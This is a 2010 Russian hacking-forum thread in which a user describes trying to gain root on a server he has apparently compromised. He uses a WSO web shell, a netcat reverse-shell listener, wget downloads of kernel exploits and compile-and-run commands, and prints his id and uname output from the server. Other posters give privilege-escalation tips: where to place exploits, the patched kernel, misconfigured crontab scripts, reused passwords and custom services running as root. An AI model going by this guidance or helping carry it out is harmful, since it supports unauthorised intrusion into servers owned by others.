PDA

Просмотр полной версии : [Проблема при получении рута сервера!]


3Mind
03.06.2010, 16:57
Привет всем.
Пишу уже вторую подобную тему на этом форуме...
Проблема заключается в том что я не могу получить права рута на сервере.
Юзаю разные эксплоиты но в итоге получаю различные ошибки при исполнении эксплоита, преимущественно такую "Permission denied"
Также при подключении через бэк-коннект к netcat появляется сообщение: "sh: no job control in this shell"

Очень хотел бы разобраться и выяснить что же я делаю не так, для этого полностью опишу последовательность выполняемых мною действий:
1. Захожу в netcat и открываю порт на прослушку, вот такой командой:
-l -p 7878
2. Далее захожу в шелл (использую WSO) и выбираю бэк-конект на свою машину (на порт который открыл на прослушку в netcat'е)
3. Получаю эксплоит из веба (командой wget http://site.ru/exploit.tar), либо сохраняю в файл на своем компьютере с расширением "c", а потом загружаю его на целевой сервер посредством шелла.
4. Если сплоит в единственном файле на "с" то последовательность моих команд из-под netcat'а следующая:
gcc exploit.c -o exploit
chmod -x exploit
./exploit
5. Если сплоит не один и лежит в архиве тогда делаю так:
tar exploit.tar
cd exploit
./run.sh

Вот собственно и все хотелось бы услышать дельный совет в чем может быть моя ошибка, сразу оговорюсь что это уже второй шелл с данной проблемой, еще ни одного рута я получить не смог.
P.S.
id
uid=48(apache) gid=48(apache) groups=48(apache)
uname -a
Linux 159794-app1.***.org 2.6.9-89.0.11.ELsmp #1 SMP Mon Aug 31 11:01:10 E
DT 2009 i686 i686 i386 GNU/Linux

$n@ke
03.06.2010, 19:41
преимущественно такую "Permission denied"

не нужно лить сплойт в папку /tmp или /var/tmp.

появляется сообщение: "sh: no job control in this shell"
это не страшно и в порядке вещей.

ну во-первых можно и без chmod, если скомпилил из сорцов, и вобще-то надо chmod +x exploit

а во вторых - ищи другой сплойт)

3Mind
03.06.2010, 19:56
не нужно лить сплойт в папку /tmp или /var/tmp.
я не храню сплоит в папке /tmp, он у меня лежит в папке с одним из сайтов...

ну во-первых можно и без chmod, если скомпилил из сорцов, и вобще-то надо chmod +x exploit
да, да так и делаю просто ошибся когда тут писал. =)

а во вторых - ищи другой сплойт)
я уже сплоитов 20 попробовал не один не подошел, поэтому и стал думать что может я что-то неправильно делаю.
Посоветуй что нибудь, хотябы где искать, milw0rm.com я уже облазил ничего не нашел подходящего, также искал через exploitsearch.com, тоже никакого результата.

overxor
03.06.2010, 20:05
ядро патченое, ищи другие пути получения рута

3Mind
03.06.2010, 23:44
ядро патченое, ищи другие пути получения рута
а какими способами помимо эксплоитов можно получить права рута?

Ins3t
04.06.2010, 03:24
overxor хотел сказать, что нужно поискать эксплоиты не под ядро, а под конкретные операционные системы и их сервисы.

overxor
05.06.2010, 18:01
Да Ins3t прав. Смотри права на системные файлы (к примеру /etc/crontab. Если есть не стандартные записи следуй по ним. Часто бывает что на сами исполняемые скрипты стоят не правильные права) . Пробуй одинаковые пароли. Ищи самописные сервисы, скрипты исполняемые с наивысшими правами.